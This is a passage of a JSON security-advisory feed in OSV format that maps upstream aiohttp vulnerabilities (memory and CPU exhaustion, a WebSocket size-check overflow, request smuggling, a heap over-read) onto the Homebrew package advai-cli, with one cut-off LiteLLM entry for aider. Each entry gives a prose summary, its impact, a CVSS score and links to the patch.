tream":["GHSA-5pv8-vvhc-h7jv","CVE-2026-128125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Unbounded cookie storage in client CookieJar","details":"### Summary\n\n`Set-Cookie` parsing created additional cookies from unrecognised `name=value` attributes, and `CookieJar` had no limit on the number of cookies stored or sent. A server could make the client store a very large number of cookies and generate very large `Cookie` headers.\n\n### Impact\n\nA malicious server could cause excessive memory and CPU use in a client, repeated on every redirect, and cause later requests to the same domain to build an excessively large `Cookie` header.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5pv8-vvhc-h7jv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128125"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13930"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13942"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b1f6c87b2bd3bd80f2b6c22ff46e11d00921e412"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-128126","published":"2026-11-17T08:38:45Z","modified":"2026-11-17T08:38:45Z","upstream":["GHSA-xgw8-8ccx-rmqh","CVE-2026-128126"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Too many URL-encoded form fields block the event loop","details":"### Summary\n\n`Request.post()` had no limit on the number of fields in a URL-encoded form body. Inserting a large number of repeated keys into a `MultiDict` took quadratic time on the event loop.\n\n### Impact\n\nAn attacker could block the event loop with a form POST within the default `client_max_size` to any handler that calls `Request.post()`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xgw8-8ccx-rmqh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128126"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13738"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13741"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8b0100572936df28977b9de8a6cc7e464c0b521e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-128127","published":"2026-11-17T08:38:43Z","modified":"2026-11-17T08:38:43Z","upstream":["GHSA-24c4-3p7v-29cm","CVE-2026-128127"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Base64 multipart parts bypass client_max_size","details":"### Summary\n\nWhen reading a multipart part with `Content-Transfer-Encoding: base64`, `BodyPartReader.read_chunk()` kept reading until the chunk length was a multiple of 4, with no byte limit. A part with a short `Content-Length`, or a long run of whitespace, could cause the entire remaining body to be read into memory within a single call before any size check, or spin on the event loop.\n\n### Impact\n\nAn attacker could bypass `client_max_size` to cause excessive memory use, or block the event loop, with a specially crafted multipart request to any handler that reads multipart data.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-24c4-3p7v-29cm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128127"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13509"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13513"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d9c5c1062eff0034fb3ab120897a6c1b3ff7041"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-128128","published":"2026-11-17T08:38:45Z","modified":"2026-11-17T08:38:45Z","upstream":["GHSA-3rp8-rxj8-mvjw","CVE-2026-128128"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket max_msg_size bypass via integer overflow","details":"### Summary\n\nThe `max_msg_size` check in the WebSocket reader added the declared frame length to the size of the partial message already buffered. In the C extension this addition is 64-bit arithmetic, so a declared length close to 2**63 overflowed and the check passed.\n\n### Impact\n\nAn attacker could bypass `max_msg_size` and cause unbounded memory use by streaming an oversized WebSocket message after a small non-final fragment.\n\n### Workaround\n\nIf unable to upgrade, the Python reader is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3rp8-rxj8-mvjw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128128"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13415"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13494"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8c8906a19f64e52ef6a7d44d65217eb3c5af413f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-128129","published":"2026-11-17T08:38:45Z","modified":"2026-11-17T08:38:45Z","upstream":["GHSA-pw86-h8fm-j323","CVE-2026-128129"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Unbounded buffering of data received during an upgrade request","details":"### Summary\n\nWhile a request flagged as an upgrade (e.g. a WebSocket handshake) was being handled, all further data received on the connection was buffered with no size limit or flow control until the handler completed.\n\n### Impact\n\nAn attacker could cause unbounded memory use by streaming data behind an upgrade request to any handler that does not immediately accept or reject the upgrade.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pw86-h8fm-j323"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128129"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13501"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13511"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c207cadb257e0959b192ffca0548eca8c71eb96a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-128130","published":"2026-11-17T08:38:43Z","modified":"2026-11-17T08:38:43Z","upstream":["GHSA-28qf-cpwq-vmc2","CVE-2026-128130"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Pure-Python parser request replay and buffer growth behind a declined upgrade","details":"### Summary\n\nWhen the pipelined request queue was full, the pure-Python parser stored the unparsed remainder internally and also returned it to the caller. After a handler declined an upgrade request, the buffered data was re-fed, so the buffer grew with each handled request and already-handled requests were dispatched to the application again.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), an attacker could cause excessive memory use and cause pipelined requests to be processed more than once.\n\n### Workaround\n\nSwitch to the default C parser.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-28qf-cpwq-vmc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128130"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13356"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13360"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/72eaa429cf89b1e20212590f3e704444239569fb"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-128131","published":"2026-11-17T08:38:45Z","modified":"2026-11-17T08:38:45Z","upstream":["GHSA-h4cc-hm5h-fmm9","CVE-2026-128131"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Concatenated compressed streams cause excessive CPU use","details":"### Summary\n\nWhen decompressing a payload made up of many concatenated compressed members (gzip, deflate or zstd), each member was decoded by passing the entire remaining input to a new decompressor, resulting in quadratic CPU time. Empty members produce no output, so `client_max_size` and output backpressure did not limit the work.\n\n### Impact\n\nAn attacker could block the event loop of a server with a specially crafted compressed request body or WebSocket message. A malicious server could do the same to a client.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-h4cc-hm5h-fmm9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128131"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13362"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13391"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d041d4d0fd48c3f0832084d33be16cf1c4835f85"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-128132","published":"2026-11-17T08:38:45Z","modified":"2026-11-17T08:38:45Z","upstream":["GHSA-5rmc-48h2-hvcm","CVE-2026-128132"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket receive queue limits bypassed by small or compressed messages","details":"### Summary\n\nThe WebSocket reader continued parsing frames already received after the receive queue had paused the transport, and empty messages were not counted towards the queue size. With permessage-deflate, a single read of compressed frames could add many megabytes of decompressed messages to the queue.\n\n### Impact\n\nAn attacker could cause excessive memory use in a WebSocket server, or a malicious server against a client, by sending many small or compressed messages faster than the application consumes them.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5rmc-48h2-hvcm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128132"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13393"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13545"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13546"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5e54037933fa8422be5fa8a2002d118ed2d4e5e0"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b62321b6fa264a89f4aca084ad60fc38a59ffa51"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-59881","published":"2026-08-13T16:35:11Z","modified":"2026-10-12T09:24:31Z","upstream":["GHSA-mq44-7p77-q5h7","CVE-2026-59881","PYSEC-2026-3547"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"},{"fixed":"1.0.12"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate","details":"### Summary\n\nThe client accepts and decompresses frames with the RSV1 bit set even when the `permessage-deflate` extension was not negotiated.\n\n### Impact\n\nA client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mq44-7p77-q5h7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59881"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/12978"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"http://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-69243","published":"2026-08-13T16:35:11Z","modified":"2026-10-12T09:24:31Z","upstream":["GHSA-mfx4-hv73-q22v","CVE-2026-69243","PYSEC-2026-3546"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"},{"fixed":"1.0.12"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: HTTP request smuggling via WebSocket upgrade","details":"### Summary\n\nThe HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.\n\n### Impact\n\nIf using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mfx4-hv73-q22v"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13017"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-69244","published":"2026-08-13T16:35:11Z","modified":"2026-10-12T09:24:31Z","upstream":["GHSA-cq5v-8q36-5273","CVE-2026-69244","PYSEC-2026-3545"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"},{"fixed":"1.0.12_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)","details":"### Summary\n\nAn out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.\n\n### Impact\n\nAn attacker controlled server, or possibly an accidental response could trigger a DoS in the client.\n\n### Workaround\n\nIf unable to upgrade, the Python parser is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-GHSA-2g87-pp6c-29x5","published":"2026-10-21T08:46:01Z","modified":"2026-10-21T08:46:01Z","upstream":["GHSA-2g87-pp6c-29x5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp: Multiple instances of excessive or unbounded memory/CPU use","details":"### Summary\n\nMultiple cases were found where aiohttp could use excessive or unbounded memory, or excessive CPU consumption on attacker controlled requests.\n\n### Impact\n\nAn attacker could cause resource exhaustion through specially crafted requests.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2g87-pp6c-29x5"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/09bcaa73ff084a0c539bbf16a0a78743acb7141f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a4f6682817839313b04b8e5cea2b39c1a88ab4f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]}],"aider":[{"schema_version":"1.7.3","id":"BREW-aider-CVE-2024-10188","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-gw2q-qw9j-rgv7","CVE-2024-10188","PYSEC-2026-1549"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.67.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.53.1.dev1","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Vulnerable to Denial of Service (DoS)","details":"A vulnerability in BerriAI/litellm, as of commit 26c03c9, allows unauthenticated users to cause a Denial of Service (DoS) by exploiting the use of ast.literal_eval to parse user input. This function is not safe and is prone to DoS attacks, which can crash the litellm Python 